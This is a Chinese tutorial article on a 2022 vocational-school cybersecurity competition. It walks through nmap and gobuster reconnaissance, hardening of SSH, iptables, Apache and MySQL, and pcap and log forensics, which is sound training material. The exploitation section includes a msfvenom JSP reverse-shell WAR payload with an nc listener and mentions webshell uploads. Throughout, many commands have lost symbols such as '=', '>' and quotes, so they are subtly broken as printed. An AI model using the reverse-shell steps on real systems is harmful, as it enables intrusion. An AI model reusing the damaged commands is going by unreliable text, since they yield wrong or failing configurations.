ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

中职组网络安全赛项实战:渗透测试、安全加固与数字取证流量分析

中职组网络安全赛项实战:渗透测试、安全加固与数字取证流量分析 简介这份资源是2022年全国职业院校技能大赛中职组网络安全赛项的完整赛题文档面向职业院校网络安全竞赛选手、指导教师以及备考相关技能认证的学习者帮助其熟悉正式赛题的题型结构、任务要求与评分标准。压缩包内仅含1个docx文件约49KB内容为赛题原文涵盖基础设施设置与安全加固、网络安全事件响应与数字取证、应用安全以及CTF夺旗攻防四大模块具体涉及Windows与Linux登录安全加固、密码策略、SSH与VSFTPD及IIS中间件加固、iptables防火墙策略、Nmap与DirBuster等渗透测试工具的使用场景。目前已有849人学习下载读者可借助该赛题还原真实竞赛环境梳理各模块任务要点与操作思路对照评分权重合理分配备赛精力适合作为赛前模拟训练与知识点查漏补缺的参考材料。1. 从一份中职组赛题文档说起网络安全赛项到底在考什么如果你手里拿到一份“2022 年全国职业院校技能大赛(中职组)网络安全赛项赛题网络安全竞赛试题9.docx”第一反应大概率是这到底是一套 CTF 题还是一份安全加固与运维的实操卷答案偏向后者但又不止于此。这个赛项的核心不是让你去挖某个 Web 漏洞拿 flag而是把渗透测试、安全加固、数字取证、流量分析这几件事压缩进一个模拟企业内网里让你在有限时间内完成“攻、防、查”三件事。它面向的是中职组选手所以单点技术深度不会像职业 CTF 那样极端但对操作规范、命令熟练度和排查思路的要求非常具体。换句话说这份文档更像一张“任务工单”而不是一道纯解题。你如果把它当成普通 ctf web 解题找 flag 夺旗赛来打很容易在加固和取证环节翻车。下面我按实际落地顺序把这类赛题从环境理解到拿分技巧拆开讲。2. 先看懂赛题结构中职组网络安全赛项的任务分层2.1 赛题文档里通常藏着的三类任务这类赛题文档一般不会只给一个孤立的靶机地址而是给出一个拓扑描述或一组虚拟机清单。常见做法是一台攻击机Kali Linux 或类似环境、一台或两台靶机Linux/Windows 混合、外加一台流量镜像或日志服务器。任务描述会分成几个模块比如“信息收集与渗透”“系统安全加固”“数字取证与流量分析”。每个模块下面再列具体小题小题往往带明确的验证点比如“提交某服务的 flag”“修复某配置项后截图”“从给定 pcapng 中提取某条记录”。我一般会先做一件事把文档里所有动词圈出来。动词是“扫描”“利用”“修复”“提取”“分析”还是“提交”直接决定你该用 nmap、sqlmap、iptables、tcpdump 还是 volatility。中职组赛题不会故意把动词藏得很深但会把多个动词混在一个大题里比如“先发现漏洞并利用再对同主机做基线加固”。这时候如果你只做前半段后半段的分就丢了。另一个容易忽略的点是分值分布。文档里通常不会写分值但小题数量能反映权重。如果加固类小题有 8 个渗透类只有 3 个那你的时间分配就不该全压在拿 shell 上。很多选手习惯性先打渗透结果加固和取证没时间做最后总分很难看。血泪经验是先把所有小题读一遍按“确定性”排序——能立刻验证的先做需要反复试的后做。2.2 环境确认别急着敲命令先对表拿到赛题后不要直接开扫。先确认三件事网络连通性、目标系统版本、可用工具集。中职组比赛环境通常是隔离内网IP 段会在文档里给出比如 192.168.1.0/24。你需要确认自己的攻击机是否在该网段、能否 ping 通靶机、靶机开放了哪些常见端口。# 先看本机网络配置确认自己所在网段 ip addr show # 确认到靶机的连通性假设靶机 IP 为 192.168.1.100 ping -c 3 192.168.1.100 # 快速看目标常见端口先不跑全端口扫描 nmap -sT -p 21,22,80,443,445,3306,3389 192.168.1.100上面三条命令的逻辑是先确认自己没配错网卡再确认链路通最后用最小代价看目标暴露了哪些服务。参数上-sT是 TCP 全连接扫描比-sS慢但不需要 root 权限在比赛环境里更稳端口列表只列了最常见的一批避免一上来就跑-p-把时间耗光。如果 ping 不通先查自己是不是在 NAT 模式而不是桥接或者靶机防火墙是否默认 drop。这一步翻车的人不少后面所有操作都白搭。3. 渗透测试环节从信息收集到拿 flag 的最小路径3.1 信息收集用 nmap 和目录扫描把面铺开信息收集阶段的目标不是“扫得全”而是“扫得准”。中职组赛题里常见的入口是 Web 服务、FTP 匿名登录、SMB 共享或弱口令 SSH。你不需要一上来就上大型扫描器全开先用手工命令确认服务版本再决定下一步。# 对目标做服务版本探测重点看 Web 和文件服务 nmap -sV -sC -p 21,22,80,443,445,3306 192.168.1.100 -oN scan_result.txt # 如果 80 开放用 whatweb 看指纹 whatweb http://192.168.1.100 # 目录扫描找后台或上传点 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -t 30-sV做版本识别-sC跑默认脚本能直接告诉你 FTP 是否允许匿名、SSH 版本是否有已知问题。-oN把结果存文件方便后面写报告或复查。whatweb看 CMS 类型gobuster的-t 30是并发线程比赛环境里别开太高否则容易把低配靶机打挂。如果目录扫描出/admin或/upload优先看这两个中职组赛题的后台弱口令和任意文件上传出现频率很高。这里有个常见误区很多人一看到 80 就只扫 Web忽略了 445 和 3306。实际上中职组赛题经常把 flag 放在 SMB 共享的某个文本文件里或者 MySQL 允许空密码远程连接。所以端口列表里我特意保留了 445 和 3306先确认再深入。3.2 利用与提权优先用已知漏洞别现场挖 0day中职组赛题的漏洞利用不会要求你写 exp通常是已知 CVE 或配置缺陷。比如 vsftpd 2.3.4 笑脸漏洞、Tomcat 弱口令部署 war 包、MySQL 的into outfile写 WebShell。你需要的不是创造力而是熟练度。# 如果发现 Tomcat 后台尝试弱口令登录后部署 war 包 # 假设已拿到后台权限用 msfvenom 生成 war 木马 msfvenom -p java/jsp_shell_reverse_tcp LHOST192.168.1.10 LPORT4444 -f war -o shell.war # 上传后访问触发本地监听 nc -lvnp 4444msfvenom的LHOST填你自己攻击机的 IPLPORT填监听端口-f war指定输出格式。上传后访问http://target/shell/shell.jsp触发反弹。nc -lvnp 4444是监听端-l监听-v显示详情-n不解析域名-p指定端口。这套流程在比赛里非常稳前提是 Tomcat 后台能进去。如果进不去回头看 3.1 的目录扫描结果找找有没有备份文件或配置文件泄露。提权部分中职组通常只要求拿到普通用户 shell 后读 flag不一定要求 root。但如果 flag 在/root下你就需要提权。常见做法是sudo -l看是否有免密命令或者找 SUID 文件。别一上来就传 LinEnum 跑半天先手工看几个关键点。3.3 拿 flag 后的验证与记录拿到 flag 后不要只复制内容要记录来源路径和获取方式。赛题文档里通常要求提交 flag 值但有些题会要求截图证明。我一般会同时保存命令输出和文件内容。# 找到 flag 文件后确认路径和权限 find / -name *flag* -type f 2/dev/null # 读取并记录 cat /root/flag.txt # 保存操作记录 script -a /tmp/operation.logfind命令里的2/dev/null是把权限报错丢掉避免刷屏。script命令开始记录终端会话后面所有操作都会存到/tmp/operation.log方便复盘。这个习惯在取证和加固环节同样有用因为你需要证明自己改了什么。4. 安全加固与基线检查把靶机改成“合规”状态4.1 基线检查的常见项与命令安全加固环节通常会给出一份检查表比如“关闭不必要的服务”“修改 SSH 配置”“设置密码策略”“配置防火墙规则”。你需要逐项操作并验证。中职组赛题里最常考的是 SSH 加固、防火墙规则和用户权限。# 查看当前 SSH 配置 sshd -T | grep -E permitrootlogin|passwordauthentication|port # 修改 SSH 配置禁止 root 登录和密码认证 sed -i s/^#PermitRootLogin.*/PermitRootLogin no/ /etc/ssh/sshd_config sed -i s/^#PasswordAuthentication.*/PasswordAuthentication no/ /etc/ssh/sshd_config # 重启 SSH 服务 systemctl restart sshdsshd -T是直接输出生效配置比看文件更准。sed命令把注释掉的默认项改成显式禁止。注意改完 SSH 后不要立刻断开当前连接先开一个新终端测试能否登录否则容易把自己关在外面。这个坑我踩过不止一次比赛里时间紧一断连就得重启靶机心态直接崩。防火墙部分常见要求是“只允许特定 IP 访问某端口”或“默认拒绝所有入站”。# 设置默认拒绝入站允许已建立连接和 SSH iptables -P INPUT DROP iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j ACCEPT # 保存规则 iptables-save /etc/iptables/rules.v4-P INPUT DROP把默认策略设为丢弃-A INPUT追加允许规则。顺序很重要先允许已建立连接再允许 SSH否则你当前会话也会断。iptables-save保存规则避免重启失效。如果赛题要求用 firewalld命令换成firewall-cmd即可逻辑一样。4.2 用户与权限加固别只会 useradd用户权限加固通常包括删除多余用户、锁定空密码账户、设置密码复杂度、限制 su 权限。这些操作看起来简单但验证点很细。# 查找空密码账户 awk -F: ($2){print $1} /etc/shadow # 锁定账户 passwd -l username # 查看 sudo 权限 cat /etc/sudoers | grep -v ^# # 设置密码策略 sed -i s/^PASS_MAX_DAYS.*/PASS_MAX_DAYS 90/ /etc/login.defsawk那行直接找出 shadow 文件里密码字段为空的账户这是基线检查的必查项。passwd -l锁定账户-l是 lock。/etc/sudoers不要直接用vim改用visudo更安全但比赛里如果只是查看cat加grep过滤注释就够了。PASS_MAX_DAYS控制密码最长使用天数改成 90 天是常见合规要求。这里有个细节有些赛题会要求“禁止普通用户使用 su 切换到 root”你需要把用户从wheel组移除或者修改/etc/pam.d/su。别只改一个地方验证时用普通用户实际试一次。4.3 服务加固Web 和数据库的常见配置如果靶机上有 Web 服务加固项可能包括隐藏版本号、关闭目录浏览、限制上传目录执行权限。数据库方面则是删除空密码用户、限制远程访问、修改默认端口。# Apache 隐藏版本号 sed -i s/^ServerTokens.*/ServerTokens Prod/ /etc/apache2/conf-enabled/security.conf sed -i s/^ServerSignature.*/ServerSignature Off/ /etc/apache2/conf-enabled/security.conf # 关闭目录浏览 sed -i s/^Options Indexes/Options -Indexes/ /etc/apache2/apache2.conf # 重启服务 systemctl restart apache2ServerTokens Prod只返回“Apache”而不带版本号ServerSignature Off关闭错误页签名。Options -Indexes禁止列出目录内容。这些改动很小但验证时用curl -I看响应头就能确认。数据库方面MySQL 的mysql_secure_installation可以交互式完成大部分加固但比赛里更推荐直接写 SQL。-- 删除空密码用户 DELETE FROM mysql.user WHERE User; -- 限制 root 只能本地登录 UPDATE mysql.user SET Hostlocalhost WHERE Userroot; -- 刷新权限 FLUSH PRIVILEGES;注意UPDATE之前先SELECT确认当前 Host 值别把远程管理通道也关了。如果赛题要求保留远程访问但改端口改my.cnf里的port并重启服务。5. 数字取证与流量分析从 pcapng 和日志里找证据5.1 流量取证用 tshark 快速过滤关键会话数字取证 流量取证是热搜里高频出现的词也是这类赛题的固定模块。题目通常会给你一个.pcapng文件要求你找出某次攻击的源 IP、提取某个文件、或者还原某条登录凭证。用 Wireshark 图形界面可以但比赛里更推荐tshark命令行速度快且容易写过滤条件。# 查看 pcapng 文件的基本统计 capinfos capture.pcapng # 列出所有 HTTP 请求 tshark -r capture.pcapng -Y http.request -T fields -e ip.src -e http.host -e http.request.uri # 提取 FTP 登录凭证 tshark -r capture.pcapng -Y ftp.request.command \USER\ || ftp.request.command \PASS\ -T fields -e ftp.request.argcapinfos先看文件时长、包数、平均速率对整体有个判断。-Y是显示过滤器语法和 Wireshark 一致。-T fields -e指定输出字段方便直接复制。FTP 凭证提取那条命令里ftp.request.command过滤 USER 和 PASS 命令ftp.request.arg输出参数值。如果题目考的是 USB 流量比如.pcapng usb ctf这种你需要换过滤条件。# USB 流量中提取键盘按键 tshark -r usb.pcapng -Y usb.transfer_type 0x01 usb.endpoint_address 0x81 -T fields -e usb.capdatausb.transfer_type 0x01是中断传输usb.endpoint_address 0x81是键盘输入端点。输出的usb.capdata是十六进制按键码需要对照 HID 键码表还原。这个考点在 ctf杂项题目 里也常见中职组赛题偶尔会出简化版。5.2 日志分析从 auth.log 和 Web 日志里定位攻击除了流量包赛题也可能给出一份日志文件要求你找出暴力破解的源 IP、成功登录的时间、或者被访问最多的 URL。Linux 下常见的是/var/log/auth.log和/var/log/apache2/access.log。# 统计 auth.log 中失败登录次数最多的 IP grep Failed password /var/log/auth.log | awk {print $(NF-3)} | sort | uniq -c | sort -nr | head -10 # 找出成功登录的记录 grep Accepted password /var/log/auth.log # Web 日志中状态码为 200 且访问量最大的 URL awk $9200 {print $7} /var/log/apache2/access.log | sort | uniq -c | sort -nr | head -10第一条命令里$(NF-3)取的是倒数第四个字段因为 auth.log 的失败登录行格式通常是“Failed password for invalid user admin from 192.168.1.50 port 12345 ssh2”IP 在倒数第四。sort | uniq -c | sort -nr是统计频次的标准组合。Web 日志里$9是状态码$7是 URL 路径。这些命令在比赛里能快速定位关键证据比手工翻日志快得多。5.3 文件取证从镜像或目录里恢复数据有些赛题会给你一个磁盘镜像或一个被删除文件的目录要求你恢复某个文件或提取隐藏信息。常见工具是foremost、binwalk和strings。# 用 foremost 恢复镜像中的文件 foremost -i disk.img -o output_dir # 用 binwalk 看是否有嵌套文件 binwalk disk.img # 用 strings 找可疑字符串 strings disk.img | grep -i flag\|password\|secretforemost按文件头恢复-i输入-o输出目录。binwalk看镜像里是否嵌了压缩包或文件系统。strings加grep是最快的手工筛查方式但注意strings默认只输出长度大于等于 4 的字符串如果 flag 很短可能漏掉可以加-n 3调整。这个环节的坑是恢复出来的文件很多别一个个看先用file命令分类再按题目要求找特定类型。6. 避坑与排查这类赛题里最容易丢分的 5 个地方6.1 扫描太猛把靶机打挂现象nmap 全端口扫描或目录扫描并发开太高靶机 Web 服务无响应SSH 也连不上。原因中职组赛题靶机配置通常不高Apache 或 Tomcat 连接数有限大量并发请求直接打满。解决nmap 用-T3或-T2降低速度目录扫描-t控制在 10 到 20。如果已经打挂等几分钟或重启靶机如果允许别反复重试。6.2 改 SSH 配置后把自己关在外面现象按照加固要求改了sshd_config重启服务后当前会话断开新连接也连不上。原因改配置时禁用了密码认证或改了端口但当前会话是旧连接新连接按新配置走如果密钥没配好就进不去。解决改之前先开两个 SSH 会话一个用来改一个用来测试。改完先sshd -t检查语法再systemctl reload sshd而不是restartreload 不会断开现有连接。6.3 取证时过滤条件写错导致漏证据现象明明 pcapng 里有 FTP 登录但tshark过滤不出来。原因FTP 登录可能走的是 IPv6或者端口不是默认 21过滤条件没覆盖。解决先用tshark -r file.pcapng -Y ftp看有没有 FTP 包再逐步加条件。别一上来就写复杂过滤先宽后窄。6.4 加固项只改文件不验证现象检查表上写了“已修改”但验证时发现配置没生效。原因改了配置文件但没重启服务或者改错了文件比如 Apache 有多个 conf 目录。解决每改一项立刻用生效命令验证。SSH 用sshd -TApache 用apachectl configtest防火墙用iptables -L -n。别攒到最后一起验。6.5 时间分配失衡渗透做太久现象渗透环节花了 70% 时间加固和取证只草草收尾总分很低。原因渗透有“拿 shell”的即时反馈容易上头加固和取证反馈慢容易被忽略。解决开赛先花 5 分钟通读所有小题按“确定性”排序。把能立刻拿分的小题先做完再回头啃硬骨头。我一般会把加固和取证里最简单的 3 项先做掉稳住基本盘。7. 进阶技巧用脚本把重复加固项批量化这类赛题里加固项往往有十几条手工一条条改效率低还容易漏。我的习惯是提前准备一个加固脚本框架比赛时根据检查表填具体命令。下面是一个示例把常见的 SSH、防火墙、密码策略加固串起来。#!/bin/bash # 中职组网络安全赛项常见加固项批量执行脚本 # 注意执行前先确认当前 SSH 连接不会断建议在 screen 或 tmux 里跑 # 1. SSH 加固 sed -i s/^#\?PermitRootLogin.*/PermitRootLogin no/ /etc/ssh/sshd_config sed -i s/^#\?PasswordAuthentication.*/PasswordAuthentication no/ /etc/ssh/sshd_config sshd -t systemctl reload sshd # 2. 密码策略 sed -i s/^PASS_MAX_DAYS.*/PASS_MAX_DAYS 90/ /etc/login.defs sed -i s/^PASS_MIN_LEN.*/PASS_MIN_LEN 8/ /etc/login.defs # 3. 防火墙默认拒绝 iptables -P INPUT DROP iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -p tcp --dport 22 -j ACCEPT iptables-save /etc/iptables/rules.v4 # 4. 锁定空密码账户 for user in $(awk -F: ($2){print $1} /etc/shadow); do passwd -l $user echo Locked empty password account: $user done echo Hardening script finished. Verify each item manually.这个脚本的逻辑是先改 SSH 并 reload再改密码策略然后设防火墙最后遍历空密码账户并锁定。每一步后面都有验证命令或提示。参数上PASS_MIN_LEN 8是最低密码长度PASS_MAX_DAYS 90是最长使用天数这两个值赛题如果没指定就用常见合规值。注意脚本里用了reload而不是restart避免断连。最后一行提醒手工验证因为脚本不可能覆盖所有检查项。我一般会在比赛前把这个脚本存到 U 盘或本地比赛时复制到靶机上改几行就能用。但别直接无脑跑先看赛题检查表里有没有特殊要求比如“只允许 192.168.1.0/24 访问 22 端口”那就得把防火墙规则改成-s 192.168.1.0/24。另外如果赛题要求用firewalld把 iptables 部分换成firewall-cmd --permanent --add-servicessh和firewall-cmd --reload。验证方法上我习惯用ss -tlnp看监听端口用iptables -L -n --line-numbers看规则顺序用passwd -S username看账户锁定状态。这些命令输出直接适合截图提交。最后说一个我自己的教训有一次比赛我脚本跑太快没注意sed把注释行也改了结果sshd_config里出现重复配置服务起不来。后来我改成先cp备份再改出问题能立刻回滚。这个习惯帮我省了不少后悔药。希望帮到你。本文还有配套的精品资源点击获取
返回列表